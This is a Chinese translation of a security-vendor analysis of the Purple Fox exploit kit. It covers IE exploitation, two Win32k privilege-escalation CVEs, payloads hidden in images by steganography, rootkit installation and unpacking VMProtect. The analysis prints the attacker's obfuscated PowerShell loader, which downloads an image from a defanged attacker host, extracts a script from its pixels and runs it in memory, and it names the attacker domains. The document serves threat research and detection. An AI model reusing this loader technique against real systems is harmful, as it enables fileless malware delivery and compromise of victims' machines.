Purple Fox属于一种下载型木马,能够在感染目标计算机后下载其他恶意软件,如加密货币挖矿恶意软件。用户一旦被感染,就将面临各种各样的威胁。
研究人员最近发现攻击者利用Purple Fox攻击工具包攻击易受攻击的Internet Explorer版本的次数激增。
调查显示,Purple Fox反复尝试通过公开可用的漏洞利用代码,包括使用两个最新的CVE-CVE-2020-1054和CVE-2019-0808。
此外,我们注意到他们的攻击流程发生了其他变化,这些变化使他们可以采用隐写术并通过代码虚拟化技术覆盖恶意代码,从而更好地规避防火墙保护和某些检测工具。
在最近几年中,Purple Fox改进了其攻击和传播方法。它最初在2018年9月被发现,Purple Fox在2019年放弃使用NSIS(Nullsoft脚本可安装系统)和Rig漏洞利用工具包,而是采用PowerShell来实现无文件执行。今年早些时候,ProofPoint详细介绍了Purple Fox如何将CVE-2020-0674和CVE-2019-1458添加到其武器库中。研究表明,Purple Fox已再次进行了迭代,添加了更多CVE以实现特权升级,并采用隐写和虚拟化技术来避免检测和妨碍安全人员分析。
有效载荷传播流程
在我们观察到的攻击中,通过广告或仅通过单击错误的URL将受害者定向到恶意站点。攻击者将他们的恶意软件托管在speedjudgmentacceleration[.]com上,并针对Internet Explorer用户发起攻击。
该漏洞利用VBScript代码作为命令行运行mshta.exe,然后运行PowerShell。 PowerShell代码从http[:]//rawcdn[.]githack[.]cyou/up.php?key=1下载并在内存中执行下一阶段的代码。
下一阶段将遵循与以前版本的Purple Fox类似的模式,首先检查它是否以管理员权限运行。如果是这样,它将直接从攻击者的站点安装key = 2的MSI软件包。否则,它会尝试几种不同的“本地特权升级”漏洞来首先提升。
新特权升级漏洞
在最新版本的Purple Fox中,攻击者改进了两点。
过去,Purple Fox会下载使用图像文件扩展名(update.jpg)的本地特权升级(local privilege escalation, LPE)二进制文件,但它实际上是一个常规的可执行文件。适当的防火墙规则或安全软件可以很容易地检测到这种技术是恶意的。
现在,新版本的漏洞利用工具包将下载实际的映像文件(key = 3和key = 4),并使用隐写术将每个LPE嵌入映像中。下面是一个使用的图像示例:
下载后,将其提取到内存中。以下代码用于解码和运行有效载荷:
- $uyxQcl8XomEdJUJd='sal a New-Object;Add-Type -A System.Drawing;$g=a System.Drawing.Bitmap((a Net.WebClient).OpenRead("http[:]//rawcdn[.]githack[.]cyou/up.php?key=3"));$o=a Byte[] 589824;(0..575)|%{foreach($x in(0..1023)){$p=$g.GetPixel($x,$_);$o[$_*1024+$x]=([math]::Floor(($p.B-band15)*16)-bor($p.G -band 15))}};IEX([System.Text.Encoding]::ASCII.GetString($o[0..589362]))'
- IEX ($uyxQcl8XomEdJUJd)
此外,现在正在利用两个新的漏洞来帮助提升本地特权:CVE-2020-1054和CVE-2019-0808。两者都是Win32k组件中的内核漏洞。 CVE-2020-1054于今年5月进行了修补。我们发现利用这些漏洞的攻击者二进制文件分别在2020年8月11日和2020年9月10日进行了编译。
该漏洞利用程序包含调试信息和大量信息字符串。例如,CVE-2020-1054上的调试路径为:
- D:\Personal\Windows\Windows10\Desktop\CVE-2020-1054-master\CVE-2020-1054-master\x64\Release\CVE-2020-1054.pdb
从编译时的文件夹名称可以看出,该代码来自Git存储库。我们能够快速将漏洞利用追溯到以下公共存储库:CVE-2020-1054,CVE-2019-0808。
不幸的是,到目前为止,在野外还没有寻找到更多具有类似特征的二进制文件。
值得注意的是,所有的脚本都检查HKCU\Software\7-Zip下一个特定且一致的注册表值“StayOnTop”,设置此值似乎使恶意软件能够确定有效载荷是否成功运行。因此,在计算机注册表中找到该值就可以表示Purple Fox做出了哪些攻击。
Rootkit有效载荷
PowerShell脚本和特权升级利用的目的最终是在计算机上安装rootkit。如何释放有效载荷和Rootkit组件
趋势科技表示,早期版本的“紫狐狸”使用了msi.dll的MsiInstallProductA 函数来下载并执行其有效载荷——一个.msi文件,其中包含加密的shellcode以及32位和64位版本的有效载荷。
一旦执行,它将重新启动计算机并使用PendingFileRenameOperations注册表(负责存储操作系统重新启动时将重命名的文件的名称)以重命名其组件。
在重新启动计算机后,它将使用其Rootkit功能(隐藏其文件和注册表项)创建一个挂起的svchost进程并注入一个DLL,然后创建一个具有Rootkit功能的驱动程序。
在执行有效载荷之前,它还会在注入的DLL中设置以下内容:驱动程序文件(dump_ {random hex} .sys)——负责Rootkit功能,主组件是一个DLL文件(Ms {random hex} App.dll)。
然而,与早期版本不同,新版本“紫狐狸”选择了使用开源代码来启用其Rootkit组件,包括隐藏并保护其文件和注册表项。同样值得注意的是,新版本“紫狐狸”还会使用一个文件实用程序软件来隐藏其DLL组件,这阻止了逆向工程或破解尝试。
但是,鉴于技术迭代带来的变化,我们想检查有效载荷方面是否还有任何新的发展。
我们在新域中找到了两个版本的恶意软件,它们都是rootkit的MSI安装程序,其中一个丢失了文件。
安装过程大致相同,重启后,我们仍然看到使用PendingFileRenameOperations将文件放置在system32目录下。然而,在MSI包中的CustomAction表有vbscript代码,运行以下内容:
有趣的是,这些命令直接来自微软有关如何防御CVE-2020-0674漏洞(Internet Explorer RCE)的咨询,该漏洞被Purple Fox使用来获得初始访问权限。我们推测保护新感染的计算机不受该漏洞的影响可能是为了阻止竞争对手。
从MSI软件包中提取恶意软件后,我们注意到有效载荷还具有一项重要的新功能,不过它现在受VMProtect保护。
从PE的分区表中可以轻松观察到VMProtect的使用:
“.vmp%d” 部分中的入口点清楚地表明了VMProtect
由于采用多种技术来隐藏原始代码并对其进行模糊处理,因此安全研究人员的逆向处理变得更加困难了。
解压缩VMProtect
逆向VMProtected二进制文件时,有两个主要障碍需要克服:打包数据和虚拟指令。
我们首先必须解压缩二进制文件中的数据,为此,我们使用了强大的x64dbg并打开了文件。之后,我们在VirtualProtect函数的开始处放置一个断点:
想要记录对该函数的所有调用,就要在“Log Text”框中输入:
VirtualProtect: lpAddress={a:[esp+4]}, dwSize={d:[esp+8]}, flNewProtect={x:[esp+C]} ;
运行它,直到它崩溃,给出如下输出:
可以看到数据可能被解压缩到虚拟地址0x401000,因此我们要监控该地址,直到将数据写入该地址为止。
重新启动程序后,我们再次在VirtualProtect上放置一个断点,并使该断点命中八次。然后,我们将EIP设置为该地址,并使用x64dbg的内置Scylla插件转储二进制文件并修复其导入:
这为我们提供了一个更小的,可调试的DLL文件,其中包含大量纯文本字符串,以帮助我们调查恶意软件。
DLL的代码仍使用虚拟化的调用进行了模糊处理,但幸运的是,我们在字符串中找到了以下代码:
这类似于之前报告的rootkit版本,后者只是他们下载并编译的公共rootkit。根据这些信息,我们推断出他们并没有实质性地升级rootkit的功能。
总结
Purple Fox开发工具包正在积极升级迭代中,正如我们自2018年9月以来以及在我们的研究中再次看到的那样,恶意软件开发者正在试图绕过Microsoft补丁程序,以便针对那些组织和安全团队利用公开的利用代码而未能及时修补的漏洞。这个新的变种还通过采用隐写术来隐藏LPE二进制文件,并利用商业软件来保护其代码不被分析,从而提高了其逃避检测的能力。
本文翻译自:https://labs.sentinelone.com/purple-fox-ek-new-cves-steganography-and-virtualization-added-to-attack-flow/如若转载,请注明原文地址。